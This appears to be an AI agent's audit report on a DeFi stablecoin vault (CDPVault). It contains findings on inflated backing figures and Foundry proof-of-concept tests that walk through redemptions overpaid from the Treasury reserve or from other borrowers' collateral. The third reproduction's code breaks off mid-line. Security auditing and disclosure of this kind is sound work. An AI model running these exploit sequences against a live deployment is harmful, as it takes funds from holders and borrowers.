     Verified: supply = totalDebt + totalEarned - totalNonPrincipalRedeemed (wipe/bite/cover burn amount and remint feePaid); REPAID_THIS_TX_SLOT adds repaid supply in both the reserve share and the divisor, and a same-transaction repayment of cold principal only raises warm (lowers the figure); a decrease takes cold first then banks, so cold/warm mixing within a position is neutral in both orders; a price rise shrinks an above-band term and banks the warm part, a price fall re-prices cold (accepted); the bank cannot be re-armed (a visit re-dates only what was credited, exponential decay, so it only avoids the day cutoff); a Treasury donation raises the reserve at once but cannot be withdrawn, so a donor only ever gets its pro-rata share back; supply <= fresh skipping the lagged figure needs totalNonPrincipalRedeemed >= warm debt, which the attacker's own draw cannot create (it adds to both sides) and which leaves no reserve to take; the repay-then-redeem premium bound (supply - fresh)/(supply - fresh - repaid) holds for the lagged figure (the reserve term rises by less, supply/(supply - repaid)) and the payout never passes par; the new-loan dilution and the price-fall re-pricing are in the stated direction; the debt-side orphan is at most the day-old cold principal / 16 over supply and halving, and with the band fix in place a band draw no longer creates a debt-only orphan (the crossing case does, within the same bound).

     The band-draw fix itself is the gap (mediums 1 and 2) and the warm-fraction bound is wrong on the candidate side (medium 3). Q2 FEE BASE.

     Verified: a warm repayment moves supply down and feeExcess up (base unchanged), a cold repayment moves supply and cold principal together, a redemption's burn counts at once, cold principal and work minted this transaction are excluded, prior is read once before the candidate is touched so quote and stored rate agree, the stored rate decays at a 12-hour half-life; pinning from the 100,000 floor costs 9,000 of burn (about 250 of fee split, 450 in one), the floor is a max and inert above 100,000; the early feeExcess release on a redraw after a redemption is bounded by the position's own share; the fee-side orphan (a position's feeExcess reads zero after a day while the total still holds its decayed share, so a redraw releases nothing) overstates the base by at most P/16 and decays: negligible.

     With the wage on, work-minted supply from an EARLIER transaction counts warm at once (only WORK_MINTED_THIS_TX_SLOT is excluded), diluting the fee by the earner's rights: real work, wage 0 at launch, noted.

     Q3 REDEMPTION PAYOUTS. gemOut floors, debtCancelled ceils so every wei a borrower releases is covered, RedemptionWorsensRatio compares exact fractions, ExcessRepayment bounds amount by the candidate's debt and the burn by supply, the reserve is valued at the vault's price and leaves first in full (its 'share' is pro rata by construction), minGemOut is honoured, splitting a burn pays less fee than one burn (documented); redemption against a candidate cancels its accrued fees first with no remint (design).

     Q4 LIQUIDATION. bark/barkFor require unhealthy at fresh agreeing feeds, a live mark is preserved, grace = lull, actionable for tail (1 hour) then void; bite seizes floor(debt x 1.2e18 / price), dust below the one-wei seizure is taken whole, the remainder sweep applies only when debt survives, chip/cut split the bonus (Parameters enforces chip + cut <= 10,000), self-mark-and-bite costs 2% (see the comment item); a mark is cleared only by health (free/draw need it, lock/wipe through _clearIfRecovered, heel) or debt zero; cover sweeps dust (< one-wei seizure without feeds, < _coverDust with them) and takes a re-lock below the record at ceil(value), reverting if the Treasury cannot pay, otherwise the re-lock waits for bark/grace/bite; a drained borrower's healthy re-lock freezes Treasury imdUSD equal to the record (accepted, costs duty); totalBadDebt and _recordedBad

     whole finding

     Not a defect; the verifications are by reading the cited lines and by the scratch tests under test/scratch/.

4. Audit permissionsAgent #11found 1 medium, 2 low, 1 info

   The review is complete. .imd-findings.json is at the repository root (git-excluded by the project's own info/exclude), src/ is byte-identical to 9bd5f59, and the three scratch tests live under test/scratch/.

   Findings (4)

   1. Medium — CDPVault.draw:507: the delta-panel band fix is skipped whenever the term moved before the draw. The fix cools the new debt's share of a band position's term only when position.secured == termBefore. A wipe of one wei of principal (past the accrued fee) shrinks the term by 2 wei/price and banks it; the draw's _resecure restores the term warm from the bank, the equality fails, and nothing of the collateral behind the new imdUSD goes cold. The same happens after any price rise followed by a touch. The panel's own proof with wipe(stabilityFee + 1) inserted fails on this commit with the panel's exact numbers (1.0 vs 0.897; 9,700 raw IMD paid vs 8,705). Proof attached (test/scratch/BandDrawBypass.t.sol). I verified a fix in a scratch copy (rule "cold secured ≥ the term's share of cold debt this draw added", written without the bank; +196 bytes initcode): the proof passes at 0.878/8,518 and every panel, LaggedBacking, Redemption*, Adversarial, LaunchAuditFixes, CDPVault, ProtocolSequences and BoundaryPaths suite passes except one exact-equality assertion that needs a fee-share tolerance (explained in the finding).

   2. Low — CDPVault:328: the accepted BACKING_HALF_LIFE bound does not hold. "Gains at most the gap to par on the Treasury's reserve, since a position-funded payout stays pro rata" is wrong: RedemptionWorsensRatio bounds a payout by the candidate's ratio, not the book's backing, so every eligible candidate at or above par pays the lifted figure. With an empty reserve, a candidate at 150% paid 9,704 raw IMD vs honest 8,396 for 5,000 imdUSD. Proof attached. Low because the lift itself needs k× the warm book (hard with ~$720k of sIMD in existence), but the runbook's mitigation (keep Treasury sIMD small) does not cover this route.

   3. Low — CDPVault:285: "after a rise for more, which the aggregate cap bounds" is vacuous below par. An untouched position re-collateralised above 200% at a crash low keeps a term priced at the low; after a recovery it is counted at 2fP instead of 2P in both figures, and the mat×principal cap never binds below par. backingPerUnit() reads 1.0 vs honest 0.964; a reserve redemption is overpaid 3.8%. Only the owner can re-price. Smallest fix: a permissionless poke(owner). Reproduction in text (no proof, since the fix is a new entry point).

   4. Info — comment claims (lines 774-776, 327-329, 284-286, ParameterizedVault 240-242), the Q1–Q8 answers where nothing is wrong, and coverage. Initcode measured 46,795 bytes as stated.

   Coverage

   Read in full: CDPVault, ParameterizedVault, ImdUSD, DeploymentConfig, Treasury, Parameters, Governed, SharePriceFeed, UsdPriceFeed, TreasuryFactory, MockIMD, interfaces, both newest audit docs. Not reached (out of scope): SwarmFeed, SwarmRelay, OracleAsker, SwarmWorkOracle, WorkOracleFactory, the feed contracts, Registry. No Slither, no fork; forge only.

   ran onclaude · claude-fable-5-1 · 31 turns · 24m 31s · 589 in · 99K out · 3.8M cached

   submission6b5b66bf296b1ecc5005fafc9900c5f43f0820cb968564414795b398064e59b3

   devicec2e167266d13dcf4799e5339055687439f82b9c239967df30587a4703733486f

   started from9bd5f599678a10cbd3a47657300c7366c8c5605e

   bundlenone

   • mediumCDPVault.draw: the delta-panel band fix is skipped whenever the term moved before the draw (a one-wei principal wipe, or any touch after a price rise), so the collateral behind new cold debt stays warsrc/CDPVault.sol:507

     Q1 / Q8. The fix for delta panel #1 (medium, job fc96f209) cools the new debt's share of a band position's term only when position.secured == termBefore, i.e. only when _resecure left the term exactly where it was.

     Any change of the same position's term before the draw defeats the equality, and _lag's bank then restores the term WARM: (a) a wipe of one wei of principal (one wei past the accrued stability fee, which wipe retires first) shrinks a band position's term by 2 wei / price (_reduceDebt -> _resecureBounded -> _secured = min(collateral, 2 x principal / price)) and banks the sliver (_lag, decrease branch, bank += out - coldOut); the draw's _resecure then takes the term back to the whole collateral, _lag's increase branch credits it from the bank (credit = min(after_ - before, bank), nothing cold), and position.secured != termBefore, so the branch at line 507 is skipped; (b) the same after a price RISE: any touch (lock(1), wipe) re-prices the term down to 2P/price' and banks the difference; a later draw to 200% at price' restores the term from the bank, warm, with the whole new debt cold.

     Result in both: cold debt with no cold secured term, exactly the state the panel's medium described: _backingPerUnit's lagged figure drops the new imdUSD from the warm supply but keeps all the collateral now also standing behind it.

     While the live figure binds nothing happens, but the live figure is what a newcomer's one-transaction-old capital raises (lock + draw at >= 200% in one transaction: its collateral and debt are cold, so the lagged figure is untouched), and a cash in the next transaction is paid min(live, lagged) = the overstated lagged figure, capped at par, from the reserve (Treasury sIMD) or from any eligible candidate (see the second finding).

     The newcomer then wipes and frees: the D1 round trip.

     Loser: every holder through the reserve, or the candidate.

     Gain: (paid - honest) x the redemption, bounded by fresh_band / warm and by the gap to par; costs the redemption fee, gas, and a newcomer's collateral comparable to the warm book held one block.

     Reachable with the constants as committed (mat 170 at NHI >= 0.85, LINE 1M, wage 0); the proof is the panel's own test/delta-panel/BandDraw.t.sol with wipe(stabilityFee + 1) inserted before the band draw, and fails on this commit with the panel's exact numbers (1.0 against 0.897, 9,700 raw IMD paid against at most 8,705).

     The NatSpec at lines 774-776 ("new debt, the imdUSD minted against it and the collateral behind it are excluded together, a band position's draw included") claims the property the code lacks.

     Smallest fix (verified in a scratch copy, +196 bytes of initcode, proof passes at 0.878 / 8,518): make the rule 'cold secured >= the term's share of the cold debt this draw added' and write it without the bank: have _lag's increase branch return the bank credit (coldOut = credit;), then in draw: uint256 coldAdded = amount - _lag(position, false, position.debt, position.debt + amount); position.debt += amount; uint256 coldBefore = position.coldSecured; _resecure(position, _priceOrZero()); uint256 term = position.secured; uint256 added = position.coldSecured > coldBefore ? position.coldSecured - coldBefore : 0; uint256 want = Math.min(Math.mulDiv(term, coldAdded, position.debt), term - position.coldSecured); if (want > added) { position.coldSecured += uint128(want - added); _coldSecured += want - added; } (both figures were cooled to now by the debt _lag in the same call).

     A wipe-and-redraw round trip is unaffected (its debt is credited from the bank, so coldAdded is 0), except that principal created by converting the accrued fee into principal (0.365 imdUSD in test_anAtomicWipeAndRedrawLeavesTheLagWhereItWas) is already cold on the debt side today and would cool its share of the term too, so that test's exact-equality assertion on the secured lag needs the fee's share as tolerance; all other suites in test/panel, LaggedBacking

     whole finding

     forge test --match-path test/scratch/BandDrawBypass.t.sol (proof below).

     ParameterizedVault over MockIMD at $1 (Chainlink 2000e8 etched at CHAINLINK_ETH_USD, TreasuryFactory etched at TREASURY_FACTORY), NHI 0.85 (mat 170), Treasury holds 10,000 IMD.

     BORROWER lock(200_000e18), draw(100_000e18); +2 days (warm).

     BORROWER wipe(stabilityFeeOf(BORROWER) + 1) (one wei of principal: term 200,000 -> 200,000 - 2 wei, banked).

     Next block BORROWER draw(17_000e18): term back to 200,000 from the bank, position.secured != termBefore, nothing cold on the secured side, 17,000 cold debt.

     Next block IMD to $0.50: backingPerUnit() == 897435897435897435 (the honest live figure (5,000 + 100,000) / 117,000).

     NEWCOMER lock(400_000e18), draw(100_000e18) in one transaction; next block backingPerUnit() reads 1e18 and NEWCOMER cash(5_000e18, 0, address(0)) is paid 9,700e18 raw IMD from the reserve.

     EXPECTED: at most 0.897e18 and 8,705.1e18 raw IMD (what the committed fix gives without the wipe: 0.878e18, 8,518e18).

     ACTUAL: 1.0e18 and 9,700e18, 995 IMD ($497) over the honest payout.

     Fails on 9bd5f59 with 'fresh capital lifted a redemption's backing: 1000000000000000000 > 897435897435897435'; passes with the fix above.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     // The delta panel's medium (job fc96f209, #1) was fixed in `draw` with a branch that cools the new debt's share of
     // the term ONLY when `position.secured == termBefore`. Any change of the term in the SAME position before the draw
     // (a one-wei `wipe`, which shrinks the term by 2 wei / price and banks it) makes the draw's `_resecure` restore the
     // term FROM THE BANK (warm), the equality fails, and nothing of the collateral behind the new imdUSD goes cold. The
     // delta panel's proof, re-run with `wipe(1)` inserted before the band draw, fails again exactly as it did on 07905bb.
     
     import {Test} from "forge-std/Test.sol";
     import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
     import {ParameterizedVault} from "src/ParameterizedVault.sol";
     import {ImdUSD} from "src/ImdUSD.sol";
     import {MockIMD} from "src/MockIMD.sol";
     import {TreasuryFactory} from "src/TreasuryFactory.sol";
     import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
     import {APPROVED_OPERATOR, CHAINLINK_ETH_USD, TREASURY_FACTORY} from "src/DeploymentConfig.sol";
     
     contract BbFeed is ISwarmFeed {
         uint256 public constant maxAge = 1 days;
         uint256 private value;
         uint64 private updatedAt;
     
         constructor(uint256 v) {
             set(v);
         }
     
         function set(uint256 v) public {
             value = v;
             updatedAt = uint64(block.timestamp);
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return (value, updatedAt);
         }
     
         function isStale() external pure returns (bool) {
             return false;
         }
     }
     
     contract BbMirror is ISwarmFeed {
         ISwarmFeed private immutable primary;
     
         constructor(ISwarmFeed p) {
             primary = p;
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return primary.latestValue();
         }
     
         function isStale() external view returns (bool) {
             return primary.isStale();
         }
     
         function maxAge() external view returns (uint256) {
             return primary.maxAge();
         }
     }
     
     contract BbAggregator {
         function decimals() external pure returns (uint8) {
             return 8;
         }
     
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 2000e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     contract BandDrawBypassTest is Test {
         address private constant BORROWER = address(0xB0B);
         address private constant NEWCOMER = address(0xC0DE);
     
         uint256 private constant DOLLAR = uint256(1 ether) * 1e18 / 2000 ether; // IMD/ETH at $1
     
         MockIMD private imd;
         ParameterizedVault private vault;
         ImdUSD private stable;
         BbFeed private primary;
     
         function setUp() public {
             if (TREASURY_FACTORY.code.length == 0) vm.etch(TREASURY_FACTORY, address(new TreasuryFactory()).code);
             vm.etch(CHAINLINK_ETH_USD, address(new BbAggregator()).code);
             vm.warp(1_000_000);
             imd = new MockIMD();
             primary = new BbFeed(DOLLAR);
             BbFeed health = new BbFeed(0.85 ether); // mat 170
             vault = new ParameterizedVault(
                 address(imd), address(0), address(0), address(primary), address(health), address(new BbMirror(primary))
             );
             stable = vault.stablecoin();
             vm.startPrank(APPROVED_OPERATOR);
             imd.mint(BORROWER, 200_000 ether);
             imd.mint(NEWCOMER, 400_000 ether);
             imd.mint(address(vault.treasury()), 10_000 ether); // the reserve
             vm.stopPrank();
         }
     
         function _next() private {
             vm.roll(block.number + 1);
             vm.warp(block.timestamp + 12);
         }
     
         function test_oneWeiWipeBeforeBandDrawBypassesTheColdShare() public {
             // A warm book: one borrower at 200% (term = its whole collateral = 2 x principal).
             vm.startPrank(BORROWER);
             imd.approve(address(vault), type(uint256).max);
             vault.lock(200_000 ether);
             vault.draw(100_000 ether);
             vm.stopPrank();
             vm.warp(block.timestamp + 2 days);
             _next();
             // THE BYPASS: a one-wei PRINCIPAL repayment shrinks the term by 2 wei / price and banks that warm sliver ...
             // (one wei past the accrued stability fee, which `wipe` retires first: the repayment must touch principal)
             uint256 oneWeiOfPrincipal = vault.stabilityFeeOf(BORROWER) + 1;
             vm.prank(BORROWER);
             vault.wipe(oneWeiOfPrincipal);
             _next();
             // ... so the band draw's `_resecure` restores the term from the bank and `position.secured != termBefore`:
             // the branch that was meant to cool the new debt's share of the term is skipped.
             vm.prank(BORROWER);
             vault.draw(17_000 ether);
             _next();
             // IMD halves: the book is below par.
             primary.set(DOLLAR / 2);
             _next();
             uint256 honest = vault.backingPerUnit();
             emit log_named_uint("honest, the live figure (5,000 + 100,000) / 117,000", honest);
             assertLt(honest, 1e18, "the scenario needs a book below par");
             uint256 feeBps = vault.redemptionFeeBps(5_000 ether);
             (uint256 price,) = vault.collateralPriceFeed().latestValue();
             uint256 honestPay = Math.mulDiv(Math.mulDiv(5_000 ether, honest, 1e18) * (10_000 - feeBps) / 10_000, 1e18, price);
     
             // A newcomer brings capital in one transaction ...
             vm.startPrank(NEWCOMER);
             imd.approve(address(vault), type(uint256).max);
             vault.lock(400_000 ether);
             vault.draw(100_000 ether);
             vm.stopPrank();
             _next();
             uint256 lifted = vault.backingPerUnit();
             emit log_named_uint("after the newcomer", lifted);
             // ... and in the next is paid from the reserve at that figure.
             vm.prank(NEWCOMER);
             uint256 paid = vault.cash(5_000 ether, 0, address(0));
             emit log_named_uint("paid for 5,000 imdUSD (raw IMD)", paid);
             emit log_named_uint("honest payout at most (raw IMD)", honestPay);
     
             assertLe(lifted, honest, "fresh capital lifted a redemption's backing");
             assertLe(paid, honestPay, "a redemption was paid above the honest backing of the book it found");
         }
     }

     whole proof

   • lowCDPVault BACKING_HALF_LIFE acceptance: a position-funded payout does NOT stay pro rata to the book's backing, so the lifted figure also takes the gap to par from every eligible candidate's collateral,src/CDPVault.sol:328

     Q1 (an accepted case whose stated bound is checked numerically) and Q3.

     The acceptance of delta panel #3 rests on 'gains at most the gap to par on the Treasury's reserve, since a position-funded payout stays pro rata', and the runbook's mitigation (keep the Treasury's sIMD small while the book is thin) follows from it. RedemptionWorsensRatio (line 877: gemOut > mulDiv(position.collateral, amount, debt)) bounds the payout by the CANDIDATE's own collateral per unit of its debt, i.e. payoutScale <= the candidate's ratio; it says nothing about the book's backing.

     Every candidate in the eligible band (ratio below mat + gap = 220) whose ratio is at or above par x (1 - fee) therefore pays the lifted figure in full: cash computes payoutScale = _backingPerUnit(price) x (1 - fee) once (line 732) and the mixed/candidate route pays gemOut - reserveOut from the candidate at that same scale. With an EMPTY reserve the whole payout comes from the candidate.

     So when the accepted mechanism lifts min(live, lagged) to par (a loan k times the warm book, held for minutes), the attacker takes (par - honest) x (1 - fee) per imdUSD from any band candidate's collateral, up to that candidate's whole debt, for every eligible candidate; the gain is bounded by (1 - b - fee) x (reserve + the sum of eligible candidates' debt), not by the reserve, and keeping the Treasury's sIMD small does not bound it.

     Severity stays low because the lift itself is the accepted, expensive part: with sIMD's whole supply about 1.72M IMD (about $720k) a loan several times a mature warm book is not sourceable, so this binds while the book is thin; but the reason given for accepting is wrong and the runbook's mitigation does not cover the candidate route.

     Smallest fix: if the acceptance stands, restate the bound at lines 327-329 and in docs/MAINNET-RUNBOOK.md section 7 as the gap to par on the reserve PLUS every eligible candidate's debt, and drop 'a position-funded payout stays pro rata'. A code change that removes the exposure is the one the panel declined (a slower warm-up for a fresh position's collateral than for its debt), which is an economic decision for the requester.

     whole finding

     forge test --match-path test/scratch/CandidateOverpay.t.sol (proof below).

     ParameterizedVault over MockIMD at $1 (Chainlink 2000e8 etched), NHI 0.85, NO Treasury sIMD.

     UNDERWATER lock(170_000e18) draw(100_000e18); CANDIDATE lock(30_000e18) draw(10_000e18); +2 days; IMD to $0.50: UNDERWATER at 85%, CANDIDATE at 150% (eligible), backingPerUnit() == 863636363636363636 (= (85,000 + 15,000) / 110,000).

     NEWCOMER lock(2_000_000e18) draw(500_000e18) (200% at $0.50, k = 500,000 / 110,000, about 4.5); +15 minutes: backingPerUnit() == 995346872925276794.

     NEWCOMER cash(5_000e18, 0, CANDIDATE) with an empty reserve.

     EXPECTED per lines 327-329: nothing beyond the Treasury's reserve can be taken, so with no reserve the candidate pays at most the honest 0.8636 x (1 - fee): 8,396e18 raw IMD.

     ACTUAL: 9,703.6e18 raw IMD paid from CANDIDATE's collateral for 5,000 imdUSD of its debt, 1,307 IMD ($654, 15.6%) above the honest payout; the newcomer then wipes 495,000 and is unwound.

     Fails on 9bd5f59 with 'a position-funded redemption was paid the lifted figure, above the honest backing: 9703636664148523460000 > 8396272727272727269192'.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     // BACKING_HALF_LIFE's accepted case (delta panel #3) is bounded in its NatSpec by "at most the gap to par on the
     // Treasury's reserve, since a position-funded payout stays pro rata". RedemptionWorsensRatio bounds the payout by
     // the CANDIDATE'S collateral per unit of its debt, not by the book's backing: a candidate above par in the eligible
     // band pays the lifted figure in full. So the same lift takes the gap to par from every eligible borrower's
     // collateral as well, and the stated bound does not hold.
     
     import {Test} from "forge-std/Test.sol";
     import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
     import {ParameterizedVault} from "src/ParameterizedVault.sol";
     import {ImdUSD} from "src/ImdUSD.sol";
     import {MockIMD} from "src/MockIMD.sol";
     import {TreasuryFactory} from "src/TreasuryFactory.sol";
     import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
     import {APPROVED_OPERATOR, CHAINLINK_ETH_USD, TREASURY_FACTORY} from "src/DeploymentConfig.sol";
     
     contract CoFeed is ISwarmFeed {
         uint256 public constant maxAge = 1 days;
         uint256 private value;
         uint64 private updatedAt;
     
         constructor(uint256 v) {
             set(v);
         }
     
         function set(uint256 v) public {
             value = v;
             updatedAt = uint64(block.timestamp);
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return (value, updatedAt);
         }
     
         function isStale() external pure returns (bool) {
             return false;
         }
     }
     
     contract CoMirror is ISwarmFeed {
         ISwarmFeed private immutable primary;
     
         constructor(ISwarmFeed p) {
             primary = p;
         }
     
         function latestValue() external view returns (uint256, uint64) {
             return primary.latestValue();
         }
     
         function isStale() external view returns (bool) {
             return primary.isStale();
         }
     
         function maxAge() external view returns (uint256) {
             return primary.maxAge();
         }
     }
     
     contract CoAggregator {
         function decimals() external pure returns (uint8) {
             return 8;
         }
     
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 2000e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     contract CandidateOverpayTest is Test {
         address private constant UNDERWATER = address(0x0DD);
         address private constant CANDIDATE = address(0xCA1D);
         address private constant NEWCOMER = address(0xC0DE);
     
         uint256 private constant DOLLAR = uint256(1 ether) * 1e18 / 2000 ether; // IMD/ETH at $1
     
         MockIMD private imd;
         ParameterizedVault private vault;
         ImdUSD private stable;
         CoFeed private primary;
     
         function setUp() public {
             if (TREASURY_FACTORY.code.length == 0) vm.etch(TREASURY_FACTORY, address(new TreasuryFactory()).code);
             vm.etch(CHAINLINK_ETH_USD, address(new CoAggregator()).code);
             vm.warp(1_000_000);
             imd = new MockIMD();
             primary = new CoFeed(DOLLAR);
             CoFeed health = new CoFeed(0.85 ether); // mat 170
             vault = new ParameterizedVault(
                 address(imd), address(0), address(0), address(primary), address(health), address(new CoMirror(primary))
             );
             stable = vault.stablecoin();
             vm.startPrank(APPROVED_OPERATOR);
             imd.mint(UNDERWATER, 170_000 ether);
             imd.mint(CANDIDATE, 30_000 ether);
             imd.mint(NEWCOMER, 2_000_000 ether);
             vm.stopPrank();
             // No Treasury sIMD at all: the reserve route is empty, so the only source is a candidate.
         }
     
         function _next() private {
             vm.roll(block.number + 1);
             vm.warp(block.timestamp + 12);
         }
     
         function _open(address who, uint256 collateral, uint256 debt) private {
             vm.startPrank(who);
             imd.approve(address(vault), type(uint256).max);
             vault.lock(collateral);
             vault.draw(debt);
             vm.stopPrank();
         }
     
         function test_liftedFigureIsPaidFromABandCandidateNotOnlyTheReserve() public {
             _open(UNDERWATER, 170_000 ether, 100_000 ether); // 170%
             _open(CANDIDATE, 30_000 ether, 10_000 ether); // 300%
             vm.warp(block.timestamp + 2 days);
             _next();
             // IMD halves: UNDERWATER at 85%, CANDIDATE at 150% (eligible: under mat + gap = 220), book below par.
             primary.set(DOLLAR / 2);
             _next();
             uint256 honest = vault.backingPerUnit();
             emit log_named_uint("honest backing (85,000 + 15,000) / 110,000", honest);
             assertLt(honest, 1e18, "the scenario needs a book below par");
             (uint256 price,) = vault.collateralPriceFeed().latestValue();
             uint256 feeBps = vault.redemptionFeeBps(5_000 ether);
             uint256 honestPay = Math.mulDiv(Math.mulDiv(5_000 ether, honest, 1e18) * (10_000 - feeBps) / 10_000, 1e18, price);
     
             // The accepted mechanism, exactly as the NatSpec states it: a loan several times the warm book, held for
             // minutes. (k = 500,000 / 110,000, about 4.5; fifteen minutes of warmed fraction reaches par.)
             _open(NEWCOMER, 2_000_000 ether, 500_000 ether); // 200% at $0.50
             vm.warp(block.timestamp + 15 minutes);
             _next();
             uint256 lifted = vault.backingPerUnit();
             emit log_named_uint("after the newcomer, fifteen minutes later", lifted);
     
             // The newcomer redeems against the CANDIDATE, with an empty reserve.
             vm.prank(NEWCOMER);
             uint256 paid = vault.cash(5_000 ether, 0, CANDIDATE);
             emit log_named_uint("paid from the candidate for 5,000 imdUSD (raw IMD)", paid);
             emit log_named_uint("honest payout at most (raw IMD)", honestPay);
             // The newcomer unwinds at once; the candidate keeps the loss.
             vm.startPrank(NEWCOMER);
             vault.wipe(495_000 ether);
             vm.stopPrank();
     
             assertLe(paid, honestPay, "a position-funded redemption was paid the lifted figure, above the honest backing");
         }
     }

     whole proof

   • lowCDPVault securedCollateral: an untouched position's term priced at a crash low is counted at the recovered price in both the live and the lagged figure; the 'aggregate cap' the NatSpec says bounds it src/CDPVault.sol:285

     Q1 / Q5 / Q8. Each position's term in securedCollateral is min(collateral, 2 x principal / price) at the price of its LAST touch, and _securedCollateralValue values the sum at the CURRENT price, capped at mat x prior principal.

     A position that re-collateralises at a crash low to above 200% (the common, prudent action) fixes its term at 2P / p_low IMD; when the price recovers to p' = f x p_low that term is worth 2fP instead of the honest 2P, and nothing but the owner's own transaction re-prices it (bark, heel and bite do not touch a healthy position's term; cash cannot name a position above mat + gap).

     The NatSpec's bound, 'which the aggregate cap bounds', is mat x warm principal = 170% of the debt, which is above par by construction: it never binds while the book is below par, which is exactly when the payout is scaled.

     So while another borrower is still underwater after the recovery, backingPerUnit() reads par (both the live figure and the lagged one use the same stale held) and a reserve-funded cash, by anyone, is paid par x (1 - fee) where the honest figure is lower; a band candidate at or above par pays the same way. The over-count persists until the whale touches its own position, which it has no reason to do.

     This is the 'after a rise for more' approximation the comment documents, and the price-fall half of it (a re-pricing counted as cold) is an accepted item; the finding is that the stated bound is vacuous in the only regime where the figure matters, and that a whale who re-collateralised at the low can itself redeem from the reserve at the over-count in the recovery window.

     Bounded by the stale surplus 2P(f - 1) of such positions over the supply and by the gap to par; needs a crash, a recovery and an untouched >200% re-collateralisation, so low.

     Smallest fix (the size budget allows it): a permissionless re-price, function poke(address owner) external nonReentrant { _requireFreshFeeds(); _requirePriceAgreement(); _resecure(_positions[owner], _price()); }, so the keeper (or any redeemer's counterparty) can correct a stale term before paying against it; the increase side of such a re-price is already the accepted cold direction. Otherwise state at lines 284-286 that the cap does not bound the over-count below par.

     whole finding

     forge test --match-path test/scratch/StaleTermRise.t.sol (source below; it fails on 9bd5f59 and is a reproduction, not a proof, since the fix is a new entry point). ParameterizedVault over MockIMD at $1 (Chainlink 2000e8 etched), NHI 0.85, Treasury holds 2,000 IMD. UNDERWATER lock(170_000e18) draw(100_000e18) (170%); WHALE lock(50_000e18) draw(10_000e18) (500%, term 20,000 IMD) and hands REDEEMER 5,000 imdUSD. IMD to $0.25 (UNDERWATER 42.5%, WHALE 125%); WHALE lock(50_000e18) at the low: 250%, term re-priced to min(100,000, 2 x 10,000 / 0.25) = 80,000 IMD. +2 days (all warm). IMD to $0.50: UNDERWATER at 85% ($85,000), WHALE at 500%, honest secured value for WHALE is 2 x 10,000 = $20,000, counted $40,000. EXPECTED: backingPerUnit() == (85,000 + 20,000 + 1,000) / 110,000 = 963636363636363636 and REDEEMER cash(1_000e18, 0, address(0)) paid at most 1,908.77e18 raw IMD. ACTUAL: backingPerUnit() == 1e18 and 1,980.8e18 raw IMD paid from the reserve (72 IMD, 3.8%, over). Fails with 'a stale term priced at the low overstates backing after the recovery: 1000000000000000000 > 963636363636363636'.

     // SPDX-License-Identifier: MIT

     pragma solidity 0.8.26;

     // securedCollateral keeps each position's term at the price it was last touched at. The NatSpec says the surplus

     // above 200% is approximated and "after a rise [counts] for more, which the aggregate cap bounds". The aggregate cap

     // is mat x prior principal (170% of the warm debt), which never binds while the book is below par, so after a

     // recovery the stale term of an untouched position that was above 200% at the low is counted at the new price in

     // both the live and the lagged figure, and a redemption is paid above the honest backing from the reserve. Only the

     // position's owner can re-price it.

     import {Test} from "forge-std/Test.sol";

     import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";

     import {ParameterizedVault} from "src/ParameterizedVault.sol";

     import {ImdUSD} from "src/ImdUSD.sol";

     import {MockIMD} from "src/MockIMD.sol";

     import {TreasuryFactory} from "src/TreasuryFactory.sol";

     import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";

     import {APPROVED_OPERATOR, CHAINLINK_ETH_USD, TREASURY_FACTORY} from "src/DeploymentConfig.sol";

     contract StFeed is ISwarmFeed {

     uint256 public constant maxAge = 1 days;
     
     uint256 private value;
     
     uint64 private updatedAt;
     
     constructor(uint256 v) {
     
         set(v);
     
     }
     
     function set(uint256 v) public {
     
         value = v;
     
         updatedAt = uint64(block.timestamp);
     
     }
     
     function latestValue() external view returns (uint256, uint64) {
     
         return (value, updatedAt);
     
     }
     
     function isStale() external pure returns (bool) {
     
         return false;
     
     }
     

     }

     contract StMirror is ISwarmFeed {

     ISwarmFeed private immutable primary;
     
     constructor(ISwarmFeed p) {
     
         primary = p;
     
     }
     
     function latestValue() external view returns (uint256, uint64) {
     
         return primary.latestValue();
     
     }
     
     function isStale() external view returns (bool) {
     
         return primary.isStale();
     
     }
     
     function maxAge() external view returns (uint256) {
     
         return primary.maxAge();
     
     }
     

     }

     contract StAggregator {

     function decimals() external pure returns (uint8) {
     
         return 8;
     
     }
     
     function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
     
         return (1, 2000e8, block.timestamp, block.timestamp, 1);
     
     }
     

     }

     contract StaleTermRiseTest is Test {

     address private constant UNDERWATER = address(0x0DD);
     
     address private constant WHALE = address(0x3A1E);
     
     address private constant REDEEMER = address(0x4ED);
     
     uint256 private constant DOLLAR = uint256(1 ether) * 1e18 / 2000 ether; // IMD/ETH at $1
     
     MockIMD private imd;
     
     ParameterizedVault private vault;
     
     ImdUSD private stable;
     
     StFeed private primary;
     
     function setUp() public {
     
         if (TREASURY_FACTORY.code.length == 0) vm.etch(TREASURY_FACTORY, address(new TreasuryFactory(
     

     whole reproduction

   • infoComments and NatSpec that claim properties the code does not have at 9bd5f59; the answers to Q1-Q8 where nothing is wrong; coveragesrc/CDPVault.sol:775

     CLAIMS WITHOUT THE PROPERTY (Q8).

     1. CDPVault 774-776, 'new debt, the imdUSD minted against it and the collateral behind it are excluded together, a band position's draw included': only when the band position's term did not move since its last touch; after a one-wei principal wipe or any touch following a price rise the collateral behind the new debt is credited warm from the bank (finding 1).
     2. CDPVault 327-329, 'gains at most the gap to par on the Treasury's reserve, since a position-funded payout stays pro rata': RedemptionWorsensRatio keeps a payout within the candidate's collateral per unit of its debt, not within the book's backing; eligible candidates at or above par pay the lifted figure (finding 2).
     3. CDPVault 284-286, 'after a rise for more, which the aggregate cap bounds': the cap is mat x warm principal, above par, so it bounds nothing below par (finding 3).
